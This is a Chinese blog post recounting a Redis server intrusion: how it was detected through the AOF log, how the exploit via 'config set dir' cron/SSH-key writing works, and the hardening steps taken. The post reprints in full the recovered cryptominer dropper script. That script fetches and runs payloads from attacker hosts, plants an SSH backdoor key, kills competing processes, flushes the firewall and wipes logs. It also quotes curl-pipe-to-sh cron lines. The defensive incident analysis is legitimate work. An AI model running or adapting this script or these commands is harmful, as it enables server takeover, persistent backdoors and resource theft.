现象

公司服务器使用Redis集群,最近发现数据异常丢失。刚存储的数据,当时能够查询到,过了2天就无法查询。查询了内存是否溢出,集群节点信息,都没有排查到问题。

刚开始总是以为是redis哪里配置的有问题,可能配置的有定时清空数据库的机制吧,但是找了一圈没有发现redis配置的问题。

后来通过日志,查定位到,被人攻击,执行了清库命令。

排查

查看数据过期时间

1
ttl key

数据正常

集群健康状况

1
2
3
4
5
6
7
8
#查看服务器内存
free

# 登录redis查看
#集群状态
cluster info
#节点
cluster nodes

查看Memory都是正常的,只有40M

查看内存淘汰机制maxmemory-policynoeviction,为禁止驱逐数据

redis info信息详解

发现问题

查看aof日志,发现问题,有被执行flushall清库命令

1
egrep -i 'flushall|um_1765039' -A3 -B3 appendonly.aof

在查阿里云邮件,也提示了异常操作信息,定位为入侵。

原因是该服务器有外网IP,虽然redis是使用的内容端口。百度一下,发现有不少人被这个redis的漏洞攻击。

redis全部key莫名消失——redis被攻击

AOF:是AppendOnly File的缩写,是Redis系统提供了一种记录Redis操作的持久化方案,在AOF生成的文件中,将忠实记录发生在Redis的操作,从而达到在Redis服务器重启或者当机之后,继续恢复之前数据状态的机制。

详细查看aof文件

1
2
3
4
5
6
7
8
9
10
11
12
13
1572978856297^M
*1^M
$8^M
flushall^M
*3^M
$3^M
set^M
$1^M
1^M
$81^M


*/1 * * * * curl -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh

被写入了一个key为1的脚本,字符串长度81

1
2
3
> get 1

"\n\n*/1 * * * * cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh\n\n"

REdis AOF文件结构分析

同时发现服务器被写入了计划任务

发现 /var/spool/cron/crontabs文件夹被写入了计划任务

1
http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh

定时执行

利用Redis漏洞远程向服务器写入定时任务

攻击原理

扫码Redis端口,远程登录到Redis中。

修改Redis的任务目录到系统目录,这样redis的存储内容会存储到系统目录。

如果Redis是使用Root用户启动的话,就可以执行系统命令。例如计划任务,注入攻击脚本。

修改redis配置

1
2
3
4
设置dir到定时任务目录
config set dir "/var/spool/cron"
设置持久化文件名为root
config set dbfilename root

以上两条命令意味着,以后redis所有数据都会保存在/var/spool/cron/root文件中。而这个文件就是root用户的定时任务配置文件。系统会执行该文件定义的定时任务。

例如使用Curl定时执行脚本

1
curl -fsSL https://pastebin.com/raw/hx4d4iPS | sh

或者修改目录到.ssh,修改authorizeds_keys文件,达到直接登录服务器权限

记redis被攻击笔记

解决问题

禁用外网IP地址

禁用该服务器的外网Ip,Redis连接限制指定的Ip地址

禁用危险命令

1
2
3
4
rename-command KEYS     ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""

Redis危险命令禁用keys、flushdb、flushall及解决方案

增加 Redis 密码验证

因为涉及到大量服务代码需要修改,这个改动需要花费一定时间

检查恢复

检查ssh的 authorized_keys 是否非法

可能redis中会被写入一个key为crackit,值为authorized_keys

检查定时任务

检查 crontab(/etc/crontab 和 /var/spool/cron/crontabs/中的文件)

发现 /var/spool/cron/crontabs文件夹被写入了计划任务

1
http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh

定时执行

后排查,文件,是一段挖矿病毒代码。

从一段挖矿病毒代码看Linux命令的实际应用

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
miner_size="854364"
sh_url="https://de.gsearch.com.de/api/update.sh"
sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"
config_url="https://de.gsearch.com.de/api/config.json"
config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"
config_size="4954"
scan_url="https://de.gsearch.com.de/api/networkservice"
scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"
scan_size="2584072"
watchdog_url="https://de.gsearch.com.de/api/sysguard"
watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"
watchdog_size="1929480"

kill_miner_proc()
{
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f mgwsl
pkill -f pythno
pkill -f jweri
pkill -f lx26
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f polkitd
pkill -f nanoWatch
pkill -f zigw
pkill -f devtool
pkill -f systemctI
pkill -f WmiPrwSe
pkill -f sysguard
pkill -f sysupdate
pkill -f networkservice
crontab -r
rm -rf /var/spool/cron/*
}
downloads()
{
if [ -f "/usr/bin/curl" ]
then
echo $1,$2
http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
if [ "$http_code" -eq "200" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
else
curl --connect-timeout 10 --retry 100 $3 > $2
fi
elif [ -f "/usr/bin/cur" ]
then
http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
if [ "$http_code" -eq "200" ]
then
cur --connect-timeout 10 --retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
cur --connect-timeout 10 --retry 100 $1 > $2
else
cur --connect-timeout 10 --retry 100 $3 > $2
fi
elif [ -f "/usr/bin/wget" ]
then
wget --timeout=10 --tries=100 -O $2 $1
if [ $? -ne 0 ]
then
wget --timeout=10 --tries=100 -O $2 $3
fi
elif [ -f "/usr/bin/wge" ]
then
wge --timeout=10 --tries=100 -O $2 $1
if [ $? -eq 0 ]
then
wge --timeout=10 --tries=100 -O $2 $3
fi
fi
}

kill_sus_proc()
{
ps axf -o "pid"|while read procid
do
ls -l /proc/$procid/exe | grep /tmp
if [ $? -ne 1 ]
then
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
fi
done
ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
do
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
done
}

kill_miner_proc
kill_sus_proc

if [ -f "$rtdir" ]
then
echo "i am root"
echo "goto 1" >> /etc/sysupdate
chattr -i /etc/sysupdate*
chattr -i /etc/config.json*
chattr -i /etc/update.sh*
chattr -i /root/.ssh/authorized_keys*
chattr -i /etc/networkservice
if [ ! -f "/usr/bin/crontab" ]
then
echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
else
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
fi
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys


cfg="/etc/config.json"
file="/etc/sysupdate"

if [-f "/etc/config.json" ]
then
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
if [ "$filesize_config" -ne "$config_size" ]
then
pkill -f sysupdate
rm /etc/config.json
downloads $config_url /etc/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /etc/config.json $config_url_backup
fi

if [ -f "/etc/sysupdate" ]
then
filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /etc/sysupdate
downloads $miner_url /etc/sysupdate $miner_url_backup
else
echo "not need download"
fi
else
downloads $miner_url /etc/sysupdate $miner_url_backup
fi

if [ -f "/etc/sysguard" ]
then
filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /etc/sysguard
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
fi

downloads $sh_url /etc/update.sh $sh_url_backup

if [ -f "/etc/networkservice" ]
then
filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /etc/networkservice
downloads $scan_url /etc/networkservice $scan_url_backup
else
echo "not need download"
fi
else
downloads $scan_url /etc/networkservice $scan_url_backup
fi

chmod 777 /etc/sysupdate
ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not root runing"
sleep 5s
./sysupdate &
else
echo "root runing....."
fi
chmod 777 /etc/networkservice
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not roots runing"
sleep 5s
./networkservice &
else
echo "roots runing....."
fi
chmod 777 /etc/sysguard
ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /etc
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "roots runing....."
fi


chmod 777 /etc/sysupdate
chattr +i /etc/sysupdate
chmod 777 /etc/networkservice
chattr +i /etc/networkservice
chmod 777 /etc/config.json
chattr +i /etc/config.json
chmod 777 /etc/update.sh
chattr +i /etc/update.sh
chmod 777 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
else
echo "goto 1" > /tmp/sysupdates
chattr -i /tmp/sysupdate*
chattr -i /tmp/networkservice
chattr -i /tmp/config.json*
chattr -i /tmp/update.sh*

if [ ! -f "/usr/bin/crontab" ]
then
echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
else
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1") | crontab -
fi

if [ -f "/tmp/config.json" ]
then
filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
if [ "$filesize1" -ne "$config_size" ]
then
pkill -f sysupdate
rm /tmp/config.json
downloads $config_url /tmp/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /tmp/config.json $config_url_backup
fi

if [ -f "/tmp/sysupdate" ]
then
filesize1=`ls -l /tmp/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /tmp/sysupdate
downloads $miner_url /tmp/sysupdate $miner_url_backup
else
echo "no need download"
fi
else
downloads $miner_url /tmp/sysupdate $miner_url_backup
fi

if [ -f "/tmp/sysguard" ]
then
filesize1=`ls -l /tmp/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /tmp/sysguard
downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
fi

echo "i am here"
downloads $sh_url /tmp/update.sh $sh_url_backup

if [ -f "/tmp/networkservice" ]
then
filesize2=`ls -l /tmp/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /tmp/networkservice
downloads $scan_url /tmp/networkservice $scan_url_backup
else
echo "no need download"
fi
else
downloads $scan_url /tmp/networkservice $scan_url_backup
fi

ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmp runing"
cd /tmp
chmod 777 sysupdate
sleep 5s
./sysupdate &
else
echo "tmp runing....."
fi
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /tmp
chmod 777 networkservice
sleep 5s
./networkservice &
else
echo "tmps runing....."
fi

ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /tmp
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "tmps runing....."
fi

chmod 777 /tmp/sysupdate
chattr +i /tmp/sysupdate
chmod 777 /tmp/networkservice
chattr +i /tmp/networkservice
chmod 777 /tmp/sysguard
chattr +i /tmp/sysguard
chmod 777 /tmp/update.sh
chattr +i /tmp/update.sh
chmod 777 /tmp/config.json
chattr +i /tmp/config.json

fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

攻击模拟

找到攻击方式后,模拟了Redis攻击方式,可以查看另外一篇文章

Redis攻击模拟,获取服务器登录权限

相关文章

redis全部key莫名消失——redis被攻击

redis info信息详解

Redis数据”丢失”讨论及规避和解决的几点总结

记redis被攻击笔记

记一次Redis被攻击的事件

利用Redis漏洞远程向服务器写入定时任务

REdis AOF文件结构分析